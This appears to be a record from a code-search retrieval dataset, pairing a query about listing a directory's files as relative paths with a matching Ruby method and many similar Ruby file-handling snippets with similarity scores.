"def formatted_file_list(title, source_files); end",
"def store_files(detail_file_path)\n destination_dir = File.join(\"files\", \"clearinghouse_request\", id.to_s, \"receive\")\n log \"Storing files for later use(#{detail_file_path}) to #{destination_dir}\"\n source_dir = File.dirname(detail_file_path)\n update_attribute(:detail_report_filename, File.basename(detail_file_path))\n FileUtils.mkdir_p(destination_dir)\n all_files = nsc.interpolate_file_names_from_detail_file_path(detail_file_path)\n copied_files = []\n for file_name in all_files\n source_path = File.join(source_dir, file_name)\n if File.exists?(source_path)\n store_permanently!(source_path)\n end\n end\n log \"done\"\n files\n end",
"def files_list(params = {})\n response = @session.do_post \"#{SCOPE}.list\", params\n Slack.parse_response(response)\n end",
"def file_list(nginx_log_path)\n list=[]\n list.push(nginx_log_path)\n file_1hour_ago=\"#{nginx_log_path}.#{(Time.now-3600).strftime(\"%Y%m%d%H\").to_s}\"\n list.push(file_1hour_ago) if File.exist?(file_1hour_ago)\n list\n end",
"def initialize( list )\r\n case list\r\n when String\r\n source = list && File.exist?( list ) ? File.readlines( list ) : list.lines\r\n when Array \r\n source = list\r\n else\r\n abort \"List can be given as a file name, String or Array. The class of the currently used list '#{list}' is: #{list.class}.\"\r\n end\r\n raw = source.map(&:chomp).select { |line| line if !line.match(/^\\s*$/) }\r\n @list = step raw\r\n end",
"def list\n BakFile.where('saved = ?', true).each do |file|\n Log.instance.info(\"#{file.fid},#{file.dkey},#{file.length},#{file.classname}\")\n break if SignalHandler.instance.should_quit\n end\n end",
"def local_instances_list_file_locations\n [\n \"#{Base.storage_directory}/#{name}-instances.list\",\n \"#{Base.base_config_directory}/#{name}-instances.list\",\n \"~/.#{name}-instances.list\",\n \"~/#{name}-instances.list\", \n \"#{name}-instances.list\"\n ]\n end",
"def create_lists\n pid_files_dir = Rails.root.join('tmp', 'external_files_conversion', timestamp)\n FileUtils.mkdir_p pid_files_dir\n file_path = \"#{pid_files_dir}/large_objects.txt\"\n File.open(file_path, 'w') { |file| file.puts(large_objects) }\n lists_of_pids = small_objects.each_slice(NUMBER_OF_PIDS_PER_FILE).to_a\n lists_of_pids.each_with_index do |list, index|\n file_path = \"#{pid_files_dir}/#{index}.txt\"\n File.open(file_path, 'w') { |file| file.puts(list) }\n pid_lists << file_path\n end\n end",
"def process(obj_list, filename)\n @utility.set_workdir(filename)\n obj_list.map! { |x| process_one_work(x) }\n obj_list.flatten!\n end",
"def files_list(path_list: '', name_list: '')\n # Check\n path_list = [path_list] if path_list.class == String # transform String in Array\n name_list = [name_list] if name_list.class == String # transform String in Array\n path_list.uniq! # Remove duplicate\n name_list.uniq! # Remove duplicate\n (@log.fatal {'FileManager.files_list() : no path given'}; exit ) if :path_list.size == 0\n (@log.fatal {'FileManager.files_list() : no file list given'}; exit ) if :name_list.size == 0\n # Init\n file_array = []\n # Create the list\n for path in path_list\n for file in name_list\n files = Dir.glob(path + '/' + file)\n file_array = file_array + files\n @log.info {\" FileManager search for \\\"#{path}/#{file}\\\" => found : #{Dir.glob(path + '/' + file).size} file(s)\"}\n end\n end\n # Something wrong ?\n if file_array.size == 0\n @log.fatal {\"FileManager : no Input Files found by files_list().path_list : #{path_list.to_s} name_list #{name_list.to_s}\"}; exit\n else\n return file_array\n end\n end",
"def files\n FileList.new(`#@native.files`)\n end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def writePlist\n\t\tFile.open(\"#{@outdir}/PLIST\", \"w\") do |plist|\n\t\t\t@finalFiles.each do |line|\n\t\t\t\tline = line.chomp\n\n\t\t\t\tok = true\n\t\t\t\tif @options[:missing_files] == false then\n\t\t\t\t\tfiletlm = @options[:tlmaster] + \"/\" + line\n\t\t\t\t\tif (File.exist?(filetlm.chomp) == false) then\n\t\t\t\t\t\tok = false\n\t\t\t\t\t\tputs \"*warning: missing file ignored: \" + filetlm\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif ok then\n # the .to_s is for in case the variable is nil\n\t\t\t\t\tplist.write @options[:fileprefix].to_s + line + \"\\n\"\n\t\t\t\t\tif @options[:add_dirs] then\n\t\t\t\t\t\taddDir(line)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# add directory entries to satisfy openbsd pkgtools\n\t\t\tif @options[:add_dirs] then\n\t\t\t\t@dirList.each do |file|\n # the .to_s is for in case the variable is nil\n\t\t\t\t\tplist.write @options[:fileprefix].to_s + file + \"/\\n\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def random_media_file_list_from_list(filename_list)\n media_file_list_from_list(filename_list).shuffle\nend",
"def attach_files(files)\n # BY RIK\n files = [files] unless(files.is_a?(Array))\n files.each do |file|\n file.to_options!\n filename = file[:url]\n assit(filename)\n options = file[:options] || {}\n records = TaliaCore::DataTypes::FileRecord.create_from_url(filename, options)\n records.each {|rec| self.data_records << rec}\n end\n end",
"def touch(options={})\n #list = list.to_a\n fileutils.touch(list, options)\n end",
"def list\n \tputs \"The list of backups for #{self.name}\"\n \tself.each do |bck|\n \t puts bck.filepath\n \tend\n end",
"def add_to_list(list)\n\n end",
"def add_to_list(list)\n\n end",
"def add_to_list(list)\n\n end",
"def expand_list(files, options = {})\n options = {\n preserve_duplicates: tester && tester.try(:sim?)\n }.merge(options)\n list_of_files = [files].flatten.map do |file|\n f = file.strip\n # Takes care of blank or comment lines in a list file\n if f.empty? || f =~ /^\\s*#/\n nil\n # Don't expand program lists when submitting to lsf,\n # there are likely to be relational dependencies between\n # flows meaning that they must be generated together\n elsif is_a_list?(f) && !(options[:lsf] && options[:action] == :program)\n expand_list(open_list(f), options)\n else\n f\n end\n end.flatten.compact\n if options[:preserve_duplicates]\n list_of_files\n else\n list_of_files.uniq\n end\n end",
"def file(fname)\n @file_list[fname]\n end",
"def parse_list(path, files)\n list_name = path.basename\n dir = path.dirname\n line_number = 0\n path.open('r') do |f|\n while (line = f.gets)\n line_number += 1\n # Strip the leading and trailing whitespace for sloppy typers\n line.strip!\n # Skip a blank line\n next if line.match(/^\\s+$/)\n # Check if the pattern or list exists\n line_path = Pathname.new(\"#{dir}/#{line}\")\n unless line_path.file?\n # puts \"Skipping #{line_path.to_s} at line ##{line_number} in file #{path.to_s} because it is not a file\"\n next\n end\n # Process the file\n process_file(line_path, files)\n end\n end\n end",
"def loadpath=(list)\n @loadpath = makelist(list)\n end",
"def initialize(list)\n @list = list\n end",
"def open_list(file)\n f = clean_path_to(file, allow_missing: true)\n if f\n f = File.open(f, 'r')\n elsif File.exist?(\"#{Origen.root}/list/#{File.basename(file)}\")\n f = File.open(\"#{Origen.root}/list/#{File.basename(file)}\", 'r')\n elsif @last_opened_list_dir && File.exist?(\"#{@last_opened_list_dir}/#{file}\")\n f = File.open(\"#{@last_opened_list_dir}/#{file}\", 'r')\n else\n fail \"Could not find list file: #{file}\"\n end\n lines = f.readlines\n f.close\n # Before we go save the directory of this list, this will help\n # us to resolve any relative path references to other lists that\n # it may contain\n @last_opened_list_dir = clean_path_to(Pathname.new(f).dirname)\n lines\n end",
"def lists_import_by_list_id_post(list_id, file, opts = {})\n data, _status_code, _headers = lists_import_by_list_id_post_with_http_info(list_id, file, opts)\n data\n end",
"def get_list_of_files\n\t\t@list_of_files = Dir.entries(@wallpaper_dir) \n\tend",
"def attach_files(files)\n files = [files] unless(files.is_a?(Array))\n files.each do |file|\n file.to_options!\n filename = file[:url]\n assit(filename)\n options = file[:options] || {}\n # BEGIN BY RIK\n talia_file = TaliaFile.new\n talia_file.assign_random_id\n talia_file[N::RDFS.label] << File.basename(filename)\n records = TaliaCore::DataTypes::FileRecord.create_from_url(filename, options)\n records.each do |rec|\n talia_file.data_records << rec\n end\n talia_file[N::TALIA.isFileOf] = self\n self[N::TALIA.hasFile] << talia_file\n # talia_file.save!\n # END BY RIK\n end\n end",
"def loadpath(*list)\n @loadpath.concat(makelist(list)) unless list.empty?\n @loadpath\n end",
"def init_generic_transactions(file_list, transaction_holder)\n file_list.each do |path|\n data = File.open(path).read\n filename = path.split(%r{/}).last\n transaction_holder.push Transaction.new(data, filename)\n end\n nil\n end",
"def split_file_list_by_shared_libs(list, platform_name)\n # put binary files to bin list\n bin_list, dev_list = list.partition { |e| e =~ /(bin\\/.+)|(lib\\/.*\\.(so|so\\..+|dylib))/ }\n # add directories to bin list\n dirs = []\n bin_list.each do |f|\n ds = File.dirname(f).split('/')\n dirs += (1..ds.size).map { |e| ds.first(e).join('/') }\n end\n bin_list += dirs.sort.uniq\n\n [bin_list.sort, dev_list.sort]\n end",
"def list\n ret = get()\n return [] if ret.is_a? Hash and ret.has_key? :error\n ret.map{|i| FileItem.new(i)}\n end",
"def files\n entries.map(&:filepath)\n end",
"def catdcdList(dcdListFileName, outFileName, indexFileName)\n\n dcdListFile = File.open(dcdListFileName, \"r\")\n fileList = \"\"\n dcdListFile.each_line do |line|\n fileList += line.chomp + \" \"\n end\n dcdListFile.close\n\n #print \"catdcd -i #{indexFileName} -o #{outFileName} #{fileList}\"\n `catdcd -i #{indexFileName} -o #{outFileName} #{fileList}`\nend",
"def expanded_file_list\n test_files = Rake::FileList[pattern].compact\n test_files += @test_files.to_a if @test_files\n test_files\n end",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def preform_copy_file\n @destination_files.each do |destination|\n copy_file(@sources.pop, destination)\n end\n end",
"def copy_from(source_list, &block); end",
"def initialize(source, output, options={})\n @source = Pathname.new(File.expand_path(source))\n @output = Pathname.new(File.expand_path(output))\n @options = options.to_h\n\n #@logger = Logger.new(self)\n @copylist = initialize_copylist\n\n if debug?\n $stderr.puts \"\\n[copylist]\"\n copylist.each do |file|\n $stderr.puts \"#{file}\"\n end\n $stderr.puts\n end\n end",
"def get_file_list(sequence_type,site_name)\n\n case sequence_type\n when 'asm'\n ftp_url = \"#{FTP_BASE_URLS['asm']}/#{site_name}/\"\n\n # get a file list from the FTP directory listing\n LOG.info \"Checking file list on FTP server at #{ftp_url} ...\"\n curl_res = `curl -l --progress-bar #{ftp_url}`\n print \"\\n\"\n\n file_list = curl_res.split(/\\n/).map { |f| \"#{ftp_url}#{f}\" }\n when 'rrna'\n require 'csv'\n ftp_url = \"#{FTP_BASE_URLS['rrna']}/\"\n\n # parse sample IDs from TSV sample ID map\n # linked from http://hmpdacc.org/micro_analysis/microbiome_analyses.php\n sample_ids_url = \"#{CONF_DIR}/ppAll_V35_map.txt\"\n file_list = CSV.new(File.open(sample_ids_url), { :headers => :first_row, :col_sep => \"\\t\" })\n .select { |line| line[-3] == site_name.capitalize && line[5] != 'Unavailable' }\n .map { |line| \"#{ftp_url}#{line[7]}.fsa.gz\" }\n .sort\n .uniq\n else\n raise \"Unknown sequence type '#{sequence_type}' requested.\"\n end\n\n file_list\n\nend",
"def humanize_file_list( list, indent=FILE_INDENT )\n\t\t\tlisttext = list[0..5].join( \"\\n#{indent}\" )\n\t\t\tif list.length > 5\n\t\t\t\tlisttext << \" (and %d other/s)\" % [ list.length - 5 ]\n\t\t\tend\n\n\t\t\treturn listtext\n\t\tend",
"def initialize(list)\n @list = list\n end",
"def run\n @files.each do |file|\n generate_tracklist(file)\n end\n end",
"def list\n Enumerator.new do |y|\n Dir.foreach(@path) do |de| file = File.basename(de)\n (file =~ IP_RE) && (value = self[file]) && (y << [file, value])\n end\n end\n end",
"def copy_files(output_folder)\n copy_file_list(output_folder, @config.files.copy)\n end",
"def add_files(listing, path)\n listing.contents.each do |entry|\n key = from_base(entry.key)\n new_entry = entry_for(key, entry.size, entry.last_modified, false)\n @entries << new_entry unless strip(key) == strip(path) || new_entry.nil?\n end\n end",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def files\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n end",
"def safe_copy(pathlist, &block)\n # Copy code into a temp directory so we don't confuse editors while snapshotting\n curdir = Dir.pwd\n tmpdir = Dir.mktmpdir\n\n copy_files_to_dir(pathlist, tmpdir) \n Dir.chdir(tmpdir)\n\n if block\n yield\n FileUtils.remove_entry_secure(tmpdir)\n Dir.chdir(curdir)\n else\n return tmpdir\n end\n end",
"def source_list(label, *list)\n _logger.warn \"Duplicate source_list '#{label}'\" if @result.source_lists.has_key?(label)\n @result.source_lists[label] += list\n end"
] |
[
"0.68745583",
"0.6625815",
"0.6425046",
"0.6309962",
"0.62858593",
"0.62782484",
"0.62651217",
"0.61995614",
"0.60999215",
"0.6049559",
"0.6049559",
"0.60230637",
"0.60230637",
"0.5956538",
"0.59179145",
"0.59179145",
"0.5878754",
"0.5866721",
"0.5807952",
"0.57931614",
"0.57195187",
"0.5689955",
"0.56692475",
"0.56451297",
"0.564292",
"0.56339103",
"0.56103885",
"0.5589347",
"0.55765265",
"0.5458689",
"0.5458114",
"0.54478544",
"0.5438184",
"0.5436795",
"0.5419547",
"0.5419016",
"0.5414461",
"0.5412808",
"0.5403308",
"0.5390473",
"0.5368077",
"0.5359794",
"0.5334821",
"0.5334233",
"0.53340214",
"0.53264725",
"0.5323505",
"0.53207994",
"0.53157604",
"0.527726",
"0.5271567",
"0.52585316",
"0.52570486",
"0.5247941",
"0.524672",
"0.52379113",
"0.5230649",
"0.5228747",
"0.52279073",
"0.5227059",
"0.52257174",
"0.5198092",
"0.5178115",
"0.5174851",
"0.5160486",
"0.5145002",
"0.5145002",
"0.5145002",
"0.51386386",
"0.5137985",
"0.5128032",
"0.51255065",
"0.5118531",
"0.51171595",
"0.5108396",
"0.51060784",
"0.50917035",
"0.5078687",
"0.50784576",
"0.50652725",
"0.5049813",
"0.5043849",
"0.5042813",
"0.50310636",
"0.5024903",
"0.5024903",
"0.50223905",
"0.50170606",
"0.5007271",
"0.5000587",
"0.49980596",
"0.4993616",
"0.49909607",
"0.49854943",
"0.49851164",
"0.49798718",
"0.4973355",
"0.49707478",
"0.49671212",
"0.49660507"
] |
0.5741347
|
20
|
Get the contents of a a directory as relative pathnames (without the root dir prepended)
|
def relative_dir_files(directory)
files = Dir["#{file_root(directory)}/**/*"]
files.map! { |file| file.gsub(/#{file_root}/, '') }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list\n Dir.glob(\"#{@directory}/**/*\").reject(&File.directory?).map do |p|\n Pathname.new(p).relative_path_from(@directory)\n end\n end",
"def relative_directory\n return '' unless @directory_root\n @path - @directory_root - name\n end",
"def GetDirectoryPathsFromRelativeBase(path)\n pathParts = path.RelativePathParts\n paths = []\n for i in 1..pathParts.length\n\tsubPath = ProjectPath.new(JoinPaths(pathParts.slice(0, i)))\n\tpaths.push(subPath)\n end\n return paths\n end",
"def all_directories dir\n Dir[\"#{dir}**/\"]\nend",
"def expand_all path\n real_path = VirtualLayer.realpath(path)\n elems = real_path.split('/'); elems.shift # throw away the first element which is empty for a FQ pathname\n if path[-1] == '/'\n filt_fn = ->(p) { VirtualLayer.directory?(p) }\n else\n filt_fn = ->(p) { p }\n end\n result = rejoin(walk_globs(elems)).flatten.select(&filt_fn).sort\n\n if path[0] == '/'\n result\n else\n cwd = VirtualLayer.pwd\n result.map {|p| p[(cwd.length+1)..] }\n end\nend",
"def relative_path\n @relative_path ||= File.join(*[@dir, @name].map(&:to_s).reject(&:empty?)).delete_prefix(\"/\")\n end",
"def get_directories_absolute_paths path\n dir_list = Dir[\"#{path}/*/\"]\n \n #Remove unnecessary directories\n dir_list.delete(File.join(path, \".\"))\n dir_list.delete(File.join(path, \"..\"))\n \n dir_list\n end",
"def ref_path(dir, subdir, path)\n # this stuff is overkill, and doesn't work anyways:\n #depth = dir.split(File::SEPARATOR).reject{ |d| d.empty? }.count\n #parent_dirs = Array.new(depth, '..')\n File.join('..', ContentRepo::ResourceNode::PATHNAME, path )\n end",
"def non_dir_files(path)\n `find -L #{path}`\n .split\n .map { |f| Pathname.new(f) }\n .reject { |f| f.directory? }\n .map { |f| f.relative_path_from(path) }\nend",
"def relativize_paths(paths)\n return paths unless relativize_paths?\n paths.map do |path|\n path.gsub(%r{^#{@directory}/}, '')\n end\n end",
"def relative_dir(path, *args)\n relative_path = args ? args.join('/') : ''\n Pathname(path).dirname.join(relative_path)\n end",
"def find_paths(dir=\"\")\n base = File.join(@source, dir)\n entries = Dir.chdir(base) { filter_entries(Dir[\"*\"]) }\n paths = []\n\n entries.each do |entry|\n absolute_path = File.join(base, entry)\n relative_path = File.join(dir, entry)\n\n if File.directory?(absolute_path)\n paths.concat find_paths(relative_path)\n else\n paths << absolute_path\n end\n end\n paths\n end",
"def enumerate_directories(directory)\n return directory.\n children.\n select(&:directory?).\n map(&:expand_path)\n end",
"def get_file_list relative_path\n\t\t\t\tpath = File.join(@src, relative_path)\n\t\t\t\tresult = nil\n\t\t\t\tFileUtils.cd(path) do\n\t\t\t\t\tresult = Dir.glob(\"**/*\", File::FNM_DOTMATCH)\n\t\t\t\t\tresult.reject! { |fn| File.directory?(fn) }\n\t\t\t\t\tresult.reject! { |fn| fn =~ /(^_|\\/_)/ }\n\t\t\t\tend\n\t\t\t\tresult\n\t\t\tend",
"def relative_path(*relative)\n Pathname.pwd.join(*(relative.flatten.map(&:to_s))).expand_path\n end",
"def directory_subdirectories(path)\n\tputs ''\n\tfor i in subdir_paths(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
"def get_file_absolute_paths path\n get_file_names(path).map { |file| File.join(path, file) }\n end",
"def relative_file_paths\n @relative_file_paths ||= absolute_file_paths.map { |p| p.sub(\"#{path.dirname}/\", \"\") }\n end",
"def get_directories_names path\n get_directories_absolute_paths(path).map {|dir| File.basename(dir) }\n end",
"def absolute_paths_for(relative_path)\n base_directories.inject([]) do |acc, dir|\n f = \"#{dir}/#{relative_path}\"\n File.exists?(f) ? acc << f : acc\n end\n end",
"def directory_entries\n entries.select{ |f| File.directory?(File.join(path,f)) }\n #dirs = ::Dir.glob(\"#{path}/\")\n #dirs.collect{ |f| f.chomp('/') }\n end",
"def full_path\n look_in.each do |dir|\n extensions.each do |ext| \n path = File.join(dir, [@path, ext].join)\n if File.exists?(path) && File.file?(path)\n return path\n end\n end\n end\n return\n end",
"def containing_directory\n path.dirname\n end",
"def relativePath\n return (parentPathElements + [name]).join(\"/\")\n end",
"def relativize_path path\n base_dir = Pathname.new(File.expand_path(DIR))\n other_dir = Pathname.new(File.expand_path(path))\n other_dir.relative_path_from base_dir\n end",
"def directory_paths\n pages.map { |p| File.dirname(p.path).split(\"/\")[0] }.uniq\n end",
"def getFullPath(relativePath)\n return baseDir + relativePath\n end",
"def directories\n directory.directoires\n end",
"def relative_src(filename, dir=nil)\n file = expand_src filename, dir\n base = Pathname.new File.dirname path_info\n Pathname.new(file).relative_path_from(base).to_s\n end",
"def sub_dir_of(file, base = base_directory)\n file = Pathname.new(file) unless file.respond_to?(:relative_path_from)\n base = Pathname.new(base) unless base.respond_to?(:relative_path_from)\n rel = file.relative_path_from(base)\n if file.directory?\n rel\n else\n rel.dirname\n end\n end",
"def relativize( path ) # :doc:\n p = Pathname.new( path )\n unless p.relative?\n p = p.relative_path_from( Pathname.pwd ).to_s\n p += '/' if path[-1] == '/'\n path = p if p.length < path.length\n end\n path\n end",
"def subdir_paths(path)\n\tfolder_metadata = @client.metadata(path)\n\tcontents = folder_metadata['contents']\n\n\tsubdir_paths = []\n\tfor i in contents\n\t\tif i['is_dir']\n\t\t\tsubdir_paths << i['path']\n\t\tend\n\tend\n\tsubdir_paths\nend",
"def directory_contents(path)\n\tputs ''\n\tfor i in get_dir_contents(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
"def enumerate_files(directory)\n return directory.\n children.\n reject(&:directory?).\n map(&:expand_path)\n end",
"def recursive_find_directories_and_files dirname\r\n base_path = self.class.lookup('ExtAdminSection').path + \"/templates/\"\r\n \r\n directories = []\r\n files = []\r\n \r\n Find.find(File.join(base_path, dirname)) do |path|\r\n if FileTest.directory?(path)\r\n directories << path.gsub(base_path, '')\r\n else\r\n files << path.gsub(base_path, '')\r\n end\r\n end\r\n \r\n return directories, files\r\n end",
"def relative_path(path = @pwd, to = @root)\n Pathname.new(path).relative_path_from(Pathname.new(to)).to_s\n end",
"def base_relative_dir\n \t\t@dir.gsub(/^\\//,\"\")\n \tend",
"def relative_path\n @relative_path ||= PathManager.join(@dir, @name).delete_prefix(\"/\")\n end",
"def relative_path(filename)\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces.size..-1])\n end",
"def relroot\n Pathname.new(File.expand_path(path)).\n relative_path_from(Pathname.new(File.expand_path(root))).to_s\n end",
"def fakedir_get_all_names(root, basename = '')\n result = (['.', '..'] + root[:files] + root[:dirs].keys).map{|e| basename + e}\n root[:dirs].each do |name, content|\n result += fakedir_get_all_names(content, \"#{basename}#{name}/\")\n end\n result\n end",
"def simplify_path(path)\n stack = []\n result = ''\n\n path.split('/').each do |dir|\n if dir == '' || dir == '.'\n next\n elsif dir == '..'\n stack.pop()\n else\n stack.push(dir)\n end\n end\n\n while stack.length > 0\n result = '/' + stack.pop() + result\n end\n\n return '/' if result == ''\n\n result\nend",
"def resolvePath(possiblyRelativePath, rootDir)\n\t\tpath = Pathname.new(possiblyRelativePath)\n\t\tif(path.absolute?()) then\n\t\t\treturn path.to_s()\n\t\telse\n\t\t\trootPath = Pathname.new(rootDir)\n\t\t\treturn rootPath.join(path)\n\t\tend\n\tend",
"def dirglob(dir='')\n pattern = dir.sub(/\\/+$/, ?/) + ?*\n files = []\n dirs = []\n Dir[pattern].flat_map do |f|\n if File.directory?(f)\n f = f.sub(/\\/*$/, ?/)\n dirs += ['', f] + dirglob(f)\n else\n files << f\n end\n end\n files + dirs\nend",
"def dir\n calc_dir(@basename)\n end",
"def relative_path(path)\n path.split('/').drop(5).join('/')\nend",
"def relativePath\n #N Without this the path elements won't be joined together with \"/\" to get the relative path as a single string\n return @pathElements.join(\"/\")\n end",
"def relative_directory; end",
"def get_entries_path(dir_path)\n\t\tentries_path = Dir.entries( dir_path )\n\t\tentries_path.delete(\"..\")\n\t\tentries_path.delete(\".\")\n\t\tentries_path.map!{ |e| dir_path + \"/\" + e.force_encoding(\"utf-8\") }\n\t\tentries_path\n\tend",
"def relative_non_audio_file_paths\n absolute_non_audio_file_paths.map { |p| p.sub(\"#{path.dirname}/\", \"\") }\n end",
"def source_directories(dir)\n elm_package_json(dir)['source-directories']\n .to_a\n .map { |directory| Pathname.new(\"#{dir}/#{directory}\").cleanpath }\n .select { |directory| Dir.exist?(directory) }\n .map { |directory| \"'#{directory}'\" }\n .join(' ')\n end",
"def find_as_relative(dir_name,excludes=[])\r\n files =[]\r\n excludes = [] unless excludes\r\n #todo write this two line . exculude initialize test\r\n excludes = excludes.split(\",\") if excludes.class == String\r\n excludes = [excludes] unless excludes.class == Array\r\n \r\n Dir.chdir(dir_name){ \r\n files = Dir.glob \"./**/*\", File::FNM_DOTMATCH\r\n exclude_files =[]\r\n exclude_files = excludes.map{|g| Dir.glob \"./**/#{g}\",File::FNM_DOTMATCH } \r\n files = files.reject{|e| File.directory?(e) }\r\n files = files - exclude_files.flatten\r\n }\r\n files = files.reject{|e| [\".\",\"..\"].any?{|s| s== File::basename(e) }}\r\n end",
"def path_from_dir_for(dir,filename)\n # Can we do this the easy way?\n file = File.join(dir,filename)\n return file if File.exist?(file)\n \n # Didn't think so\n if File.exist?(dir)\n allFiles = Dir.entries(dir)\n foundDirs = allFiles.select { |f| \n fullPath = File.join(dir,f)\n File.exist?(fullPath) &&\n File.directory?(fullPath) &&\n f != '.' && f != '..' }\n foundDirs.each do | subdir |\n subdir_path = File.join(dir,subdir)\n result = path_from_dir_for( subdir_path, filename)\n return result if result\n end\n end\n return nil\n end",
"def relative_path(filename)\n @mount_dir_pieces ||= @mount_dir.size\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces..-1])\n end",
"def walk_path(dirs)\n (1..dirs.to_a.length).map do |k|\n File.join(*dirs.to_a.take(k))\n end\nend",
"def recursive_file_list( root_dir)\n\t\treturn nil unless File.directory?(root_dir)\n\t\tlist = []\n\t\tDir.entries( root_dir).reject{|e| e=~/^\\./}.each { |e| \n\t\t\tpath = File.join( root_dir, e)\n\t\t\tif File.directory?( path)\n\t\t\t\t# puts \"Dir: #{path}\"\n\t\t\t\t list += recursive_file_list(path)\n\t\t\telsif File.file?(path)\n\t\t\t\t# puts \"File: #{path}\"\n\t\t\t\t list << path\n\t\t\tend\t\n\t\t}\n\t\tlist\n\tend",
"def relative_working_dir\n invoke(:rev_parse, '--show-prefix')\n end",
"def join_files(base_dir, path)\n if(Pathname.new(path).relative?)\n File.join(base_dir, path)\n else\n path\n end\n end",
"def SubPaths()\n #puts \"Searching subpaths in #{to_s()}\"\n entries = Dir.entries(AbsolutePath())\n subPaths = []\n \n #puts \"Found entries #{entries}\"\n \n entries.each do |entry|\n if(entry == \"..\" || entry == \".\")\n next\n end\n \n copy = CreateCopy()\n \n #puts \"Copy is #{copy}\"\n \n copy.RelativePath = JoinPaths([copy.RelativePath, entry])\n subPaths.push(copy)\n \n #puts \"Created path #{copy} for entry #{entry}\"\n end\n \n return subPaths\n end",
"def get_children(directory)\n file = Pathname.new(directory)\n if file.directory?\n file.children\n else \n []\n end\nend",
"def get_directories(src)\n directories = Array.new\n #return directories\n Find.find(src) do |path|\n # not too sure what this was intended to do but its getting in the way\n # and can not be matched correctly.\n #next if File.dirname(path) != src \n next if path == src\n next if not File.directory? path\n directories.push path\n end\n directories.reverse\nend",
"def collect_path_string(dir_set)\n path = \"/\"\n dir_set.each { |dir| path += \"#{dir}/\" }\n path\n end",
"def dir_path\n File.expand_path(File.dirname(@path))\n end",
"def relative(file)\n if File.directory?(full_path)\n file[full_path.length+1..-1]\n else\n File.basename(file)\n end\n end",
"def retrieve_dirs(_base, dir, dot_dirs); end",
"def relativize_path(path)\n path.to_s.gsub(/^\\/?#{Regexp.escape(root_path.to_s)}\\/?/, '')\n end",
"def get_dir_contents(path)\n\tfolder_metadata = @client.metadata(path)\n\tcontents = folder_metadata['contents']\n\n\tcontents_paths = []\n\tfor i in contents\n\t\tcontents_paths << i['path']\n\tend\n\tcontents_paths\nend",
"def path_dir\n File.split(path).first\n end",
"def relative_path path, base\n (root? path) && (offset = descends_from? path, base) ? (path.slice offset, path.length) : path\n end",
"def get_full_path(sub_path)\n File.join(Dir.pwd, sub_path)\nend",
"def rel_path(path)\n Pathname(path).expand_path.relative_path_from(Pathname(Dir.pwd))\n end",
"def rel_path(file)\n File.dirname(file)\n end",
"def get_file_names path\n Dir.entries(path).select { |file| !File.directory? File.join(path, file) }\n end",
"def unravel_relative_path(rel_path)\n path_parts = rel_path.split '.'\n \n full_rel_path = \"\"\n defined_path = nil\n counter = path_parts.length\n \n for path_part in path_parts do\n path = defined_path.nil? ? path_part : \"#{defined_path}.#{path_part}\"\n if path_defined? path\n defined_path = path\n else\n break\n end\n counter = counter - 1\n end\n \n full_rel_path << self.defined_path(defined_path).full_rel_path if (not defined_path.nil?)\n if (counter > 0)\n full_rel_path << \".\" if (not defined_path.nil?)\n full_rel_path << path_parts.last(counter).join('.')\n end\n \n return full_rel_path\n end",
"def crawl_hiera_directory(directory)\n files = []\n Dir[directory + '/**/*.yaml'].each { |f| files << File.absolute_path(f) }\n return files\n end",
"def eponymous_directory_path\n path.sub(ext, '/').sub(/\\/$/, '') + '/'\n end",
"def relative_path\n self.path.sub(File.expand_path(options[:root_dir]) + '/', '')\n end",
"def createAbsPath(path)\n\tabsoluteFiles = Array.new\n\tfileNames = Dir.entries path\n\tfileNames.each do |file|\n\t\tabsoluteFiles << File.join(path, file) unless file.start_with?(\".\")\n\tend\n\n\treturn absoluteFiles\nend",
"def relative_path(path_to, path_from)\n path_from ||= \"\"\n path_to = Pathname.new(path_to)\n dir_from = Pathname.new(path_from).dirname\n\n path_to.relative_path_from(dir_from).to_s\n end",
"def relative_path\n @relative_path ||= File.join(@dir, @name)\n end",
"def get_path(uri)\n name = uri.gsub(\"http://\", \"\")\n dir_list = name.split(\"/\")\n return dir_list\n end",
"def files_in_directory name, glob = '**' / '*'\n Dir[path / name / glob]\n end",
"def relative_path\n must_be File\n Pathname.new(self.full_path).relative_path_from(Pathname.new(Dir.pwd)).to_s\n end",
"def dir_files(dir)\n Find.find(dir).to_a.reject!{|f| File.directory?(f) }\nend",
"def dir(directory)\n if session.type == 'meterpreter'\n return session.fs.dir.entries(directory)\n end\n\n if session.platform == 'windows'\n return session.shell_command_token(\"dir #{directory}\").split(/[\\r\\n]+/)\n end\n\n if command_exists?('ls')\n return session.shell_command_token(\"ls #{directory}\").split(/[\\r\\n]+/)\n end\n\n # Result on systems without ls command\n if directory[-1] != '/'\n directory = directory + \"/\"\n end\n result = []\n data = session.shell_command_token(\"for fn in #{directory}*; do echo $fn; done\")\n parts = data.split(\"\\n\")\n parts.each do |line|\n line = line.split(\"/\")[-1]\n result.insert(-1, line)\n end\n\n result\n end",
"def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)",
"def relativepath(abspath, relativeto)\n path = abspath.split(File::SEPARATOR)\n rel = relativeto.split(File::SEPARATOR)\n while (path.length > 0) && (path.first == rel.first)\n path.shift\n rel.shift\n end\n ('..' + File::SEPARATOR) * (rel.length - 1) + path.join(File::SEPARATOR)\n end",
